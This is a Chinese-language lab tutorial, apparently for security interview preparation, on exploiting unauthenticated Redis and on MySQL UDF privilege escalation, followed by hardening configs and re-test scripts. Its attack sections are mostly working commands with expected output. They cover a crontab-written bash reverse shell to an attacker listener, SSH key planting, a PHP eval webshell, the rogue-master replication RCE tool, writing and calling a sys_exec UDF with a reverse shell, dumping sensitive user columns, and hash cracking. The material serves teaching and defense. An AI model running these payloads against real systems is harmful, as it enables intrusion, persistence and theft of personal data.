redis-cli -h 127.0.0.1 -p 6379 info server
# ★ 注意:没有任何 -a 密码参数,却能拿到信息
# 预期输出(节选):
# redis_version:6.2.6
# os:Linux 5.10.0 x86_64
# process_id:1
# config_file:
如果本地没装 redis-cli:
# 用 docker 里的 docker exec -it redis-vuln redis-cli info server # 或者用 nc 直接发 RESP 协议(理解原理用) printf 'PING\r\n' | nc 127.0.0.1 6379 # 预期:+PONG
7.1.3 第一步:探测(攻击者视角)
# 探测 1:能不能无密码连上
redis-cli -h 127.0.0.1 -p 6379 ping
# 预期:PONG ← 说明未授权
# 如果返回:(error) NOAUTH Authentication required. ← 有密码,没戏
# 探测 2:拿详细信息(os、版本、路径)
redis-cli -h 127.0.0.1 -p 6379 info
# 重点关注:
# redis_version:6.2.6
# os:Linux ... ← 确认是 Linux(Windows 上利用方式不同)
# config_file:/etc/redis/redis.conf ← 配置文件路径
# 探测 3:看运行用户(★ 决定能不能写 crontab)
redis-cli -h 127.0.0.1 -p 6379 config get dir
# 预期:1) "dir" 2) "/data"
redis-cli -h 127.0.0.1 -p 6379 config get dbfilename
# 预期:1) "dbfilename" 2) "dump.rdb"
# 探测 4:看能执行哪些危险命令(新版 Redis 可能禁用了 CONFIG)
redis-cli -h 127.0.0.1 -p 6379 config set dir /tmp
# 预期:OK ← 说明 CONFIG 命令可用(★ 能用最经典的攻击方式)
# 如果返回:(error) ERR unknown command 'CONFIG' ← 被 rename 禁用了,要用主从复制方式
# 探测 5:确认是否为 root 运行(决定危害程度)
redis-cli -h 127.0.0.1 -p 6379 config set dir /etc
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename test_write
redis-cli -h 127.0.0.1 -p 6379 set x "test"
redis-cli -h 127.0.0.1 -p 6379 save
# 预期:OK(如果是非 root 用户,会报权限错误)
# 清理
redis-cli -h 127.0.0.1 -p 6379 config set dir /data
redis-cli -h 127.0.0.1 -p 6379 del x
7.1.4 第二步:写 crontab 反弹 Shell(经典四步法)
原理:Redis 可以把自己内存里的数据保存成文件,而文件路径和文件名可以由我们指定。
于是我们:① 把“反弹 shell 命令”作为数据存进去 ② 指定保存到 /var/spool/cron/crontabs/root
③ Redis 保存时就会用我们的数据覆盖这个 crontab 文件 ④ cron 定时执行 → 反弹 Shell。
┌────────────────────────────────────────────────────────────┐
│ Redis 的正常功能:把内存数据存成 .rdb 文件 │
│ SET key value → SAVE → /data/dump.rdb │
│ ↑ 路径和文件名可配置 │
│ │
│ 攻击者的改造: │
│ SET key "\n\n*/1 * * * * bash -i >& /dev/tcp/...\n\n" │
│ CONFIG SET dir /var/spool/cron/crontabs/ │
│ CONFIG SET dbfilename root │
│ SAVE │
│ │
│ 结果:/var/spool/cron/crontabs/root 被我们的内容覆盖 │
│ → cron 每分钟执行一次 → 反弹 Shell │
└────────────────────────────────────────────────────────────┘
完整命令(每一步都有预期输出):
RHOST=127.0.0.1
RPORT=6379
LHOST=host.docker.internal # 攻击机 IP(容器能访问到的地址)
LPORT=8888
# 攻击机开监听(终端 1,先开着)
nc -lvnp 8888
# ===== 终端 2:发起攻击 =====
# ① 清空旧数据(避免干扰)
redis-cli -h $RHOST -p $RPORT flushall
# 预期:OK
# ② 写入反弹 shell 命令(★ 前后加换行,避免和 Redis 自己的二进制数据混淆)
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n" | \
redis-cli -h $RHOST -p $RPORT -x set crackit
# 预期:OK
# -x 参数的作用:从标准输入读取内容作为 value
# ③ 改持久化路径为 cron 目录
redis-cli -h $RHOST -p $RPORT config set dir /var/spool/cron/crontabs/
# 预期:OK
# ④ 改文件名为 root(Debian/Ubuntu 的 cron 路径)
redis-cli -h $RHOST -p $RPORT config set dbfilename root
# 预期:OK
# ⑤ 保存(★ 这一步真正写文件)
redis-cli -h $RHOST -p $RPORT save
# 预期:OK
# ⑥ 验证文件写成功了
docker exec redis-vuln cat /var/spool/cron/crontabs/root
# 预期输出(前面是 Redis 的二进制头,后面能看到我们写入的内容):
# REDIS0009ú redis-ver6.2.6ú
# ...
#
#
# */1 * * * * /bin/bash -i >& /dev/tcp/host.docker.internal/8888 0>&1
#
#
等待最多 1 分钟(cron 每分钟执行一次),终端 1 应该出现:
connect to [172.17.0.1] from (UNKNOWN) [172.20.0.4] 41256
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@a1b2c3d4:/data# whoami
root
⚠️ 为什么在 Docker 里经常不成功?(重要,很多人卡在这里)
三个常见原因: ① 容器里没装 cron,写了文件也没人执行 → 验证方法:
docker exec redis-vuln which cron② Redis 不是 root 运行(官方镜像从某版本起改为 redis 用户)→ 写/var/spool/cron/会权限拒绝 ③ 容器的 cron 路径不同(Alpine 是/var/spool/cron/crontabs/,CentOS 是/var/spool/cron/)如果 crontab 不通,不要慌——这说明防御起效了(非 root 运行是非常有效的缓解措施)。 换下面 7.1.5 的“写 SSH key”或 7.1.6 的“写 webshell”方式, 或者用 7.1.7 的主从复制 RCE(这种方式绕过了大部分限制)。
面试可以这么讲: “我在复现时发现官方 Redis 镜像以非 root 运行,crontab 方式写不进去。 这恰好印证了一个观点:Redis 未授权的严重程度 = 能写文件 × root 运行 × 公网可达, 官方镜像已经主动断了’root 运行’这一环,所以危害被大幅降低了。 这也说明用非 root 用户跑服务是一项非常有效的纵深防御措施。”
7.1.5 第三步:写 SSH authorized_keys
原理:把攻击者的公钥写到目标机器的 ~/.ssh/authorized_keys 里,
攻击者就能用自己的私钥直接 SSH 登录,不需要密码。
# ① 本地生成密钥对(如果还没有)
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa_lab -N ""
# 预期:
# Generating public/private rsa key pair.
# Your identification has been saved in /tmp/id_rsa_lab
# Your public key has been saved in /tmp/id_rsa_lab.pub
# ② 给公钥前后加换行(避免破坏文件格式)
(echo -e "\n\n"; cat /tmp/id_rsa_lab.pub; echo -e "\n\n") > /tmp/pub.txt
cat /tmp/pub.txt
# ③ 写进 Redis
cat /tmp/pub.txt | redis-cli -h 127.0.0.1 -p 6379 -x set sshkey
# 预期:OK
# ④ 指定保存路径为 /root/.ssh/authorized_keys
# 注意:dir 是目录,dbfilename 是文件名
redis-cli -h 127.0.0.1 -p 6379 config set dir /root/.ssh/
# 预期:OK
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename authorized_keys
# 预期:OK
# ⑤ 保存
redis-cli -h 127.0.0.1 -p 6379 save
# 预期:OK
# ⑥ 验证
docker exec redis-vuln ls -la /root/.ssh/authorized_keys
# 预期:文件存在
# ⑦ 尝试 SSH 登录(如果容器开了 SSH)
ssh -i /tmp/id_rsa_lab root@127.0.0.1
这种方式的优势:不需要等 cron,写进去立刻能用。 劣势:目标必须开了 SSH 服务且允许 root 登录(
PermitRootLogin yes)。 生产环境的 Redis 容器通常没有 SSH 服务,所以实战中用得比 crontab 少。
7.1.6 第四步:写 Webshell(需要目标有 Web 服务)
# 前提:目标机器上同时跑了 Redis 和 Web 服务(如 PHP/Java)
# 思路:把一句话木马写到 Web 目录
# PHP 一句话木马
echo -e "\n\n<?php @eval(\$_POST['cmd']); ?>\n\n" | \
redis-cli -h 127.0.0.1 -p 6379 -x set webshell
redis-cli -h 127.0.0.1 -p 6379 config set dir /var/www/html/
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename shell.php
redis-cli -h 127.0.0.1 -p 6379 save
# 用中国菜刀/蚁剑连接,或者 curl 直接执行
curl -X POST "http://target/shell.php" -d "cmd=system('whoami');"
名词:Webshell / 一句话木马 Webshell = 一个放在 Web 目录下的恶意脚本文件,攻击者通过 HTTP 访问它来远程执行命令。 一句话木马 = 只有一行代码的 webshell,比如 PHP 的
<?php @eval($_POST['cmd']); ?>。生活类比:你家的墙上被人贴了一张纸,上面写着“看到这张纸的人,请按我说的做“。 任何一个路过的人(HTTP 请求)都能指挥屋里的东西。
为什么叫“小马”和“大马”:一句话木马是“小马”(功能简单,就一行), 连上之后往往会再下载一个功能齐全的“大马“(文件管理、数据库管理、命令执行全套)。
7.1.7 进阶:主从复制 RCE(绕过 CONFIG 禁用)
为什么需要这个方式?因为现在很多 Redis 做了加固:
# 加固后的 redis.conf 会禁用 CONFIG 命令
rename-command CONFIG ""
# 或者
rename-command CONFIG "a2b3c4d5-random-string"
一旦 CONFIG 不能用了,前面三种方式全部失效(因为它们都依赖 CONFIG SET dir)。
主从复制 RCE 的原理:
Redis 主从复制的正常流程:
主库(Master) ──── 全量同步 RDB 文件 ────▶ 从库(Slave)
从库接收并【加载】这个 RDB 文件
攻击者的改造:
攻击者伪造一个"恶意主库"
│
├─① 让目标 Redis 执行 SLAVEOF 攻击者IP 端口
│ → 目标变成"从库",乖乖来同步
│
├─② 攻击者(伪装成主库)发送一个【恶意 .so 模块文件】
│ → 目标把它当 RDB 接收并存下来
│
├─③ 攻击者发送 MODULE LOAD ./evil.so
│ → 目标【加载】这个模块
│
└─④ 加载模块时会执行模块里的初始化代码 → 💥 RCE
动手(用现成工具):
# 下载 redis-rogue-server(一个 Python 工具,自动完成上面四步)
cd ~/tools
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server
# 需要 Python 依赖
pip install -r requirements.txt
# 执行(方式 1:交互式命令执行)
python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6379 --lhost host.docker.internal --lport 8888
# 预期输出:
# [*] Checking target...
# [+] Target is vulnerable (Redis 6.2.6, no auth)
# [*] Setting up rogue server on port 21000...
# [*] Sending SLAVEOF command...
# [+] Target is now a slave of our rogue server
# [*] Full resync, sending payload...
# [+] Payload sent, module loaded
# [+] Got shell!
# 反弹 shell(方式 2)
python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6379 \
--lhost host.docker.internal --lport 9999 --exploit-mode reverse-shell
三种方式对比表(★ 面试必背):
| 方式 | 依赖条件 | 是否需要 CONFIG | 是否落磁盘 | 是否需要 root | 成功率 |
|---|---|---|---|---|---|
| 写 crontab | 有 cron 服务 | ✅ 需要 | ✅ 需要 | ✅ 需要 | 中 |
| 写 SSH key | 开了 SSH + 允许 root | ✅ 需要 | ✅ 需要 | ✅ 需要 | 低 |
| 写 webshell | 同机有 Web 服务 | ✅ 需要 | ✅ 需要 | ⚠️ 取决于目录权限 | 低 |
| 主从复制 RCE | Redis 4.x/5.x | ❌ 不需要 | ✅ 需要 | ❌ 不需要 | 高 |
注意:主从复制方式虽然更强,但 Redis 6.0+ 默认不再支持从库加载模块(
enable-module-command相关限制), 所以实战中 Redis 4.x / 5.x 成功率最高。 这也是为什么“升级 Redis 版本“本身就是一种有效的加固手段。
7.1.8 Redis 全套加固(★ 生产环境照抄)
# ============ redis.conf 安全配置清单 ============
# 【1】设置强密码(★ 最重要的一条)
requirepass "Xk9mP2vQ7nR4tY8wZ1aB6cEdF3gH5jK7"
# 生成方式:openssl rand -base64 24
# ⚠️ 密码不要用常见单词,Redis 的暴力破解速度极快(每秒能试十几万次)
# 【2】只监听内网,不要 0.0.0.0
bind 127.0.0.1 172.20.0.10
# ⚠️ 如果一定要绑 0.0.0.0,必须配合下面【3】的防火墙
# 【3】开启保护模式(没有密码 + 没有 bind 时,拒绝外部连接)
protected-mode yes
# 【4】改默认端口(能挡住 90% 的自动化扫描)
port 16379
# 【5】禁用/重命名危险命令(★ 纵深防御的关键)
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG "b7d3f9a1-random-8x7y"
rename-command EVAL ""
rename-command EVALSHA ""
rename-command MODULE "" # ★ 防主从复制 RCE
rename-command SLAVEOF "" # ★ 防止被拉成从库
rename-command REPLICAOF ""
# ⚠️ 注意:rename 成空字符串 = 完全禁用
# ⚠️ 注意:如果用了 Redis 主从/哨兵,不要禁用 SLAVEOF,改成随机字符串
# 【6】以非 root 用户运行(★ 就算被打,也拿不到 root)
# 在 systemd 或 docker-compose 里配置
# user: "999:999"
# 【7】限制数据目录权限
# chown redis:redis /data && chmod 700 /data
# 【8】开启 ACL(Redis 6.0+,比单密码更细粒度)
# 创建一个只读用户给业务用,管理操作用另一个用户
# ACL SETUSER appuser on >AppPass123 ~cache:* +get +set +del
# ACL SETUSER readonly on >RoPass456 ~* +get
# 【9】禁用 Lua 脚本的调试/写文件能力(Redis 7+)
# 默认已较安全,老版本注意 CVE-2022-0543(Lua 沙箱逃逸)
# 【10】开启日志 + 审计(出事后能溯源)
logfile "/var/log/redis/redis-server.log"
loglevel notice
Docker Compose 加固版:
version: '3'
services:
redis:
image: redis:7.2-alpine
container_name: redis-secure
restart: unless-stopped
command: >
redis-server
--requirepass ${REDIS_PASSWORD}
--rename-command CONFIG ""
--rename-command MODULE ""
--rename-command SLAVEOF ""
--rename-command FLUSHALL ""
--maxmemory 512mb
--maxmemory-policy allkeys-lru
ports:
- "127.0.0.1:6379:6379" # ★ 只监听本地
# ❌ 绝不写 - "6379:6379"(这等于 0.0.0.0)
volumes:
- redis_data:/data
user: "999:999" # ★ 非 root 运行
read_only: true # ★ 根文件系统只读
tmpfs:
- /tmp
cap_drop:
- ALL # ★ 去掉所有 Linux capabilities
security_opt:
- no-new-privileges:true
networks:
- lab-net
volumes:
redis_data:
networks:
lab-net:
7.1.9 复测脚本
cat > /tmp/verify_redis.sh <<'SCRIPT'
#!/bin/bash
# Redis 安全加固复测(共 12 项)
RHOST="${1:-127.0.0.1}"
RPORT="${2:-6379}"
PASS="${3:-}"
AUTH=""
[ -n "$PASS" ] && AUTH="-a $PASS --no-auth-warning"
pass=0; fail=0
ok() { echo " ✅ 通过:$1"; pass=$((pass+1)); }
bad() { echo " ❌ 未通过:$1 —— $2"; fail=$((fail+1)); }
echo "=== Redis 加固复测(共 12 项)==="
echo "目标:$RHOST:$RPORT"
echo ""
# 1. 未授权访问(无密码不能连)
R=$(redis-cli -h $RHOST -p $RPORT ping 2>&1)
if echo "$R" | grep -q "NOAUTH\|denied\|error"; then
ok "1. 无密码连接被拒绝"
else
bad "1. 无密码可直接连接(★ 最严重)" "返回:$R"
fi
# 2~6:危险命令应被禁用
for cmd in "config get dir" "flushall" "eval \"return 1\" 0" "module list" "slaveof no one"; do
R=$(redis-cli -h $RHOST -p $RPORT $AUTH $cmd 2>&1)
short=$(echo "$cmd" | awk '{print $1}')
if echo "$R" | grep -qi "unknown command\|ERR unknown\|disabled"; then
ok " $short 命令已禁用"
else
bad " $short 命令仍可用" "返回:${R:0:80}"
fi
done
# 7. 密码强度(如果是弱密码会提示)
if [ -n "$PASS" ]; then
if [ ${#PASS} -lt 16 ]; then
bad "7. 密码长度 < 16 位" "当前 ${#PASS} 位,Redis 可被高速暴力破解"
else
ok "7. 密码长度 ${#PASS} 位,符合要求"
fi
fi
# 8. 端口是否只监听本地
echo " [8] 端口暴露检查(在 Redis 服务器上执行):"
echo " ss -lntp | grep redis # 应显示 127.0.0.1:6379,不应有 0.0.0.0:6379"
# 9. 运行用户
if command -v docker >/dev/null 2>&1; then
U=$(docker exec redis-secure id -u 2>/dev/null)
if [ -n "$U" ] && [ "$U" != "0" ]; then
ok "9. 以非 root 运行(uid=$U)"
elif [ -n "$U" ]; then
bad "9. 以 root 运行" "uid=0"
else
echo " ℹ️ [9] 容器 redis-secure 不存在,跳过"
fi
fi
# 10. 数据目录权限
echo " [10] 目录权限检查:ls -ld /data # 应为 700,属主 redis"
# 11. 版本检查(老版本有已知 CVE)
V=$(redis-cli -h $RHOST -p $RPORT $AUTH info server 2>/dev/null | grep redis_version | tr -d '\r' | cut -d: -f2)
echo " [11] Redis 版本:$V"
case "$V" in
7.*|6.2*) ok "11. 版本较新($V)" ;;
*) bad "11. 版本过旧($V)" "建议升级到 7.2+" ;;
esac
# 12. 业务功能仍正常(不能修过头)
if [ -n "$AUTH" ]; then
R=$(redis-cli -h $RHOST -p $RPORT $AUTH set __verify_test 1 2>&1)
if echo "$R" | grep -q "OK"; then
redis-cli -h $RHOST -p $RPORT $AUTH del __verify_test > /dev/null
ok "12. 业务读写功能正常"
else
bad "12. 业务读写异常" "返回:$R"
fi
fi
echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 Redis 加固验证通过" || echo "⚠️ 还有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_redis.sh
# 用法:/tmp/verify_redis.sh 127.0.0.1 6379 '你的密码'
7.1.10 面试怎么讲(45 秒口述版)
“Redis 未授权是内网最常见、也最容易被拿下服务器的问题。
原理:Redis 默认没有密码,如果配置时把
bind改成了0.0.0.0却没设密码, 任何人都能redis-cli连上去。而 Redis 有写文件的能力——CONFIG SET dir能指定保存路径,SAVE能把内存数据写成文件。 于是攻击者把反弹 shell 命令当数据存进去,把保存路径改成/var/spool/cron/crontabs/、 文件名改成root,一SAVE,crontab 就被覆盖了,cron 执行 → 反弹 Shell。我复现过,还发现官方镜像以非 root 运行,crontab 写不进去—— 这恰好印证了危害 = 能写文件 × root 运行 × 公网可达,断了任何一环都能大幅降低风险。
加固我们做了六件事:设强密码、
bind只监听内网、改默认端口(挡掉 90% 自动化扫描)、 重命名/禁用 CONFIG 和 MODULE 命令、非 root 用户运行、K8s 里用 NetworkPolicy 限制来源。 另外如果CONFIG被禁用了,攻击者会改用主从复制 RCE, 所以我们把SLAVEOF/MODULE也一起禁了——只禁 CONFIG 是不够的。“
7.2 MySQL 提权:从拖库到 UDF GetShell
这一节讲两件事:① 拿到数据库权限后能偷什么;② 怎么从数据库权限升级到服务器权限(UDF 提权)。
7.2.1 先说清楚“数据库权限 ≠ 服务器权限”
┌──────────────────────────────────────────────────────┐
│ 层次 1:能执行 SQL(拖库) │
│ SELECT * FROM users; │
│ → 拿到用户数据(手机号、密码哈希、身份证) │
│ │
│ 层次 2:能写文件(需要 FILE 权限) │
│ SELECT '<?php eval($_POST[c]);?>' │
│ INTO OUTFILE '/var/www/html/shell.php'; │
│ → 写 Webshell(第二章讲过) │
│ │
│ 层次 3:能执行操作系统命令(UDF 提权) │
│ CREATE FUNCTION sys_exec RETURNS INT │
│ SONAME 'udf.so'; │
│ SELECT sys_exec('whoami'); │
│ → ★ 数据库用户变成了操作系统用户 = GetShell │
└──────────────────────────────────────────────────────┘
7.2.2 名词:UDF 是什么
| 名词 | 白话解释 |
|---|---|
| UDF | User Defined Function,用户自定义函数。MySQL 允许你用 C 语言写一个函数,编译成 .so 文件,然后加载进 MySQL,之后就能在 SQL 里调用它(就像调用 CONCAT() 一样) |
| plugin_dir | MySQL 存放插件(包括 UDF 的 .so 文件)的目录。UDF 提权的前提之一是能往这个目录写文件 |
| secure_file_priv | MySQL 的一个安全开关,限制 LOAD_FILE() 和 INTO OUTFILE 能操作的目录。如果它非空,UDF 提权基本就废了 |
UDF 提权的本质(一句话): 把一段“能执行系统命令的机器码”伪装成 MySQL 插件加载进去。 因为 MySQL 进程本身是以某个系统用户(通常是
mysql)运行的, 所以这段代码执行时拥有和 MySQL 一样的系统权限。
7.2.3 动手:UDF 提权完整复现
环境准备(起一个“配置不当”的 MySQL):
docker run -d --name mysql-vuln \
--network lab-net \
-p 127.0.0.1:3306:3306 \
-e MYSQL_ROOT_PASSWORD=root123 \
-e MYSQL_ROOT_HOST=% \
mysql:5.7 \
--secure_file_priv="" # ★ 故意关掉这个保护(生产环境绝不能这样)
第一步:探测条件是否满足
mysql -h 127.0.0.1 -P 3306 -uroot -proot123 -e "
-- ① 当前用户(必须是 root 或有 FILE 权限)
SELECT user(), current_user();
-- ② 有没有 FILE 权限(★ 关键)
SHOW GRANTS;
-- ③ secure_file_priv 的值(★ 必须为空,否则无法写文件)
SHOW VARIABLES LIKE 'secure_file_priv';
-- ④ 插件目录(要知道往哪写)
SHOW VARIABLES LIKE 'plugin_dir';
-- ⑤ 系统版本和架构(决定用哪个 .so)
SELECT @@version_compile_os, @@version_compile_machine;
"
预期输出(条件满足的样子):
+----------------+----------------+
| user() | current_user() |
+----------------+----------------+
| root@172.20.0.1| root@% |
+----------------+----------------+
+-------------------------------------------+
| Grants for root@% |
+-------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' | ← ★ 有 FILE 权限
+-------------------------------------------+
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | | ← ★ 空 = 可以在任意目录写文件
+------------------+-------+
+---------------+--------------------------+
| Variable_name | Value |
+---------------+--------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ | ← ★ 目标写入目录
+---------------+--------------------------+
+----------------------+------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+------------------------+
| Linux | x86_64 | ← 需要 Linux 64 位的 .so
+----------------------+------------------------+
第二步:写 UDF 的 .so 文件
UDF 的 .so 需要自己编译,实战中一般用现成的(sqlmap 自带)。
# sqlmap 自带了编译好的 UDF(支持 Linux/Windows,32/64 位)
ls /usr/share/sqlmap/data/udf/mysql/linux/64/
# 预期:
# lib_mysqludf_sys.so
# 或者从这里找
find ~/tools/sqlmap -name "*.so" 2>/dev/null
# 预期:
# ~/tools/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so
关键:MySQL 5.1+ 要求 UDF 的 .so 里必须包含 16 字节的元数据,否则加载会报:
ERROR 1126 (HY000): Can't open shared library 'udf.so' (errno: 0 /malformed...)。
sqlmap 自带的文件已经处理过了。
第三步:把 .so 文件写进 plugin_dir
# 方法:把 .so 转成十六进制,用 MySQL 的 INTO DUMPFILE 写进去
# (因为 .so 是二进制文件,不能用 INTO OUTFILE,它会加转义)
python3 - <<'PY'
# 生成把 .so 写入 MySQL 的 SQL 语句
so_path = "/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so"
with open(so_path, "rb") as f:
data = f.read()
hexstr = data.hex()
print(f"SELECT 0x{hexstr} INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';")
PY
生成的 SQL 会非常长(几十 KB),保存成文件执行:
python3 > /tmp/write_udf.sql - <<'PY'
so_path = "/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so"
with open(so_path, "rb") as f:
data = f.read()
print(f"SELECT 0x{data.hex()} INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';")
PY
wc -c /tmp/write_udf.sql # 预期:~30KB
# 执行
mysql -h 127.0.0.1 -P 3306 -uroot -proot123 < /tmp/write_udf.sql
# 预期:无报错(Query OK)
# 验证文件写进去了
docker exec mysql-vuln ls -la /usr/lib/mysql/plugin/udf.so
# 预期:
# -rw-rw---- 1 mysql mysql 16000 Sep 4 04:10 /usr/lib/mysql/plugin/udf.so
第四步:创建函数并执行命令(★ 关键时刻)
mysql -h 127.0.0.1 -P 3306 -uroot -proot123 -e "
-- ① 创建 UDF 函数(把这个 .so 里的 sys_exec 注册成 MySQL 函数)
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
-- 预期:Query OK, 0 rows affected
-- ② 也注册一个能回显结果的
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
-- 预期:Query OK
-- ③ ★★ 执行操作系统命令
SELECT sys_eval('whoami');
"
预期输出:
+--------+
| mysql |
+--------+
| mysql | ← ★ 注意!这里显示的是 mysql,不是 root
+--------+
这个细节很重要:MySQL 进程以
mysql用户运行,所以你拿到的权限也是mysql,不是 root。 想拿到 root 还需要本地提权(利用内核漏洞、SUID 程序、sudo 配置不当等)—— 那是另一个领域,本文不展开。面试要主动提这一点,说明你理解“权限是有层次的“。
继续验证能干更多事:
mysql -h 127.0.0.1 -P 3306 -uroot -proot123 -e "
-- 看系统信息
SELECT sys_eval('uname -a');
-- 看当前用户能读什么
SELECT sys_eval('cat /etc/passwd | head -5');
-- 反弹 shell(★ GetShell)
SELECT sys_exec('bash -i >& /dev/tcp/host.docker.internal/7777 0>&1');
"
# 攻击机 nc -lvnp 7777 等待
7.2.4 拖库:拿到数据库权限后能偷什么
(这一节不需要 UDF,有普通查询权限就行。)
mysql -h 127.0.0.1 -P 3306 -uroot -proot123 -e "
-- ① 列出所有库
SHOW DATABASES;
-- ② 列出所有表(找敏感表)
SELECT table_schema, table_name, table_rows
FROM information_schema.tables
WHERE table_schema NOT IN ('mysql','information_schema','performance_schema','sys');
-- ③ ★ 找包含敏感字段的表(密码/手机号/身份证)
SELECT table_schema, table_name, column_name
FROM information_schema.columns
WHERE column_name REGEXP 'pass|pwd|secret|token|key|phone|mobile|idcard|id_card|salary';
-- ④ 拖数据
SELECT id, username, password, phone, id_card FROM app_db.users LIMIT 100;
"
拿到密码哈希后怎么破(第二章讲过,这里复习):
# 保存哈希
echo 'e10adc3949ba59abbe56e057f20f883e' > /tmp/hash.txt # 123456 的 MD5
# 用 hashcat 破解
hashcat -m 0 -a 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force
# 或者在线查(彩虹表)
# cmd5.com / somd5.com
7.2.5 修复:堵住每一层
-- 【修复 1】收回 FILE 权限(★ 最关键,直接断了 UDF 提权)
REVOKE FILE ON *.* FROM 'appuser'@'%';
-- 检查谁还有 FILE 权限
SELECT user, host, file_priv FROM mysql.user WHERE file_priv = 'Y';
-- 预期:只有真正需要的人
-- 【修复 2】限制 secure_file_priv(★ 纵深防御)
-- 在 my.cnf 里配置,然后重启
-- secure_file_priv = /var/lib/mysql-files/
-- ★ 设成非空目录后,INTO OUTFILE 只能写这一个目录,plugin_dir 就写不了了
-- 【修复 3】plugin_dir 目录不可写
-- chmod 550 /usr/lib/mysql/plugin/ && chown root:root /usr/lib/mysql/plugin/
-- 【修复 4】业务账号不要用 root
CREATE USER 'appuser'@'%' IDENTIFIED BY 'StrongPass123!';
GRANT SELECT, INSERT, UPDATE, DELETE ON appdb.* TO 'appuser'@'%';
-- ★ 绝不给 ALL PRIVILEGES ON *.*
-- 【修复 5】限制来源 IP
GRANT ... TO 'appuser'@'172.20.0.%'; -- 只允许内网段
-- 或者用防火墙:iptables -A INPUT -p tcp --dport 3306 ! -s 172.20.0.0/16 -j DROP
-- 【修复 6】删除已有的 UDF(排查是否已被入侵)
SELECT name, dl FROM mysql.func;
-- 预期:空。如果看到 sys_exec / sys_eval,说明已经被入侵了!
-- 清理:DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval;
my.cnf 安全配置:
[mysqld]
# 【1】限制文件读写目录(★ 最重要)
secure_file_priv = /var/lib/mysql-files/
# 【2】禁用 local_infile(防止读客户端文件)
local_infile = 0
# 【3】只监听内网
bind-address = 172.20.0.10
# 【4】跳过符号链接(防止通过软链接读其他目录文件)
skip-symbolic-links
# 【5】开启审计日志(事后溯源)
general_log = 0
log_error = /var/log/mysql/error.log
# 企业版可用 audit_log 插件;社区版可用 MariaDB 的 server_audit 或 mcafee 的审计插件
# 【6】密码策略(MySQL 8)
default_authentication_plugin = caching_sha2_password
# validate_password.policy = STRONG
# validate_password.length = 12
# 【7】限制连接数(防 DoS)
max_connections = 200
max_user_connections = 50
7.2.6 复测脚本
cat > /tmp/verify_mysql.sh <<'SCRIPT'
#!/bin/bash
# MySQL 安全加固复测(共 10 项)
MH="${1:-127.0.0.1}"; MP="${2:-3306}"; MU="${3:-root}"; MPW="${4:-}"
CONN="mysql -h $MH -P $MP -u $MU -p$MPW -N -B -e"
pass=0; fail=0
ok() { echo " ✅ 通过:$1"; pass=$((pass+1)); }
bad() { echo " ❌ 未通过:$1 —— $2"; fail=$((fail+1)); }
echo "=== MySQL 加固复测(共 10 项)==="
# 1. secure_file_priv 应非空
V=$($CONN "SHOW VARIABLES LIKE 'secure_file_priv';" 2>/dev/null | awk '{print $2}')
if [ -n "$V" ] && [ "$V" != "NULL" ]; then ok "1. secure_file_priv = $V"; else bad "1. secure_file_priv 为空" "可任意目录写文件,UDF 提权条件成立"; fi
# 2. 检查 FILE 权限授予范围
V=$($CONN "SELECT COUNT(*) FROM mysql.user WHERE file_priv='Y';" 2>/dev/null)
if [ "$V" = "0" ]; then ok "2. 无账号拥有 FILE 权限"; else bad "2. 有 $V 个账号拥有 FILE 权限" "执行:REVOKE FILE ON *.* FROM 'user'@'host';"; fi
# 3. 检查是否已被植入 UDF(入侵痕迹)
V=$($CONN "SELECT COUNT(*) FROM mysql.func;" 2>/dev/null)
if [ "$V" = "0" ]; then ok "3. 无自定义函数(未被植入 UDF)"; else bad "3. 存在 $V 个自定义函数" "★ 可能已被入侵,执行 SELECT * FROM mysql.func; 检查"; fi
# 4. 检查是否有 root@%(允许任意来源的 root)
V=$($CONN "SELECT COUNT(*) FROM mysql.user WHERE user='root' AND host='%';" 2>/dev/null)
if [ "$V" = "0" ]; then ok "4. 无 root@% 账户"; else bad "4. 存在 root@% 账户" "应限制为 root@localhost 或具体 IP"; fi
# 5. 检查空密码账户
V=$($CONN "SELECT COUNT(*) FROM mysql.user WHERE authentication_string='' OR authentication_string IS NULL;" 2>/dev/null)
if [ "$V" = "0" ]; then ok "5. 无空密码账户"; else bad "5. 存在空密码账户" "执行:ALTER USER 'x'@'y' IDENTIFIED BY '新密码';"; fi
# 6. local_infile 应关闭
V=$($CONN "SHOW VARIABLES LIKE 'local_infile';" 2>/dev/null | awk '{print $2}')
if [ "$V" = "OFF" ]; then ok "6. local_infile = OFF"; else bad "6. local_infile = $V" "应设为 0"; fi
# 7. 版本检查
V=$($CONN "SELECT VERSION();" 2>/dev/null)
echo " [7] MySQL 版本:$V(5.7 已 EOL,建议 8.0+)"
# 8. 敏感字段加密检查
echo " [8] 敏感字段检查:"
$CONN "SELECT table_schema, table_name, column_name FROM information_schema.columns
WHERE column_name REGEXP 'pass|pwd|secret|token|idcard|id_card|phone|mobile'
AND table_schema NOT IN ('mysql','sys','performance_schema','information_schema');" 2>/dev/null \
| head -10 | sed 's/^/ 表:/'
# 9. plugin_dir 是否可写
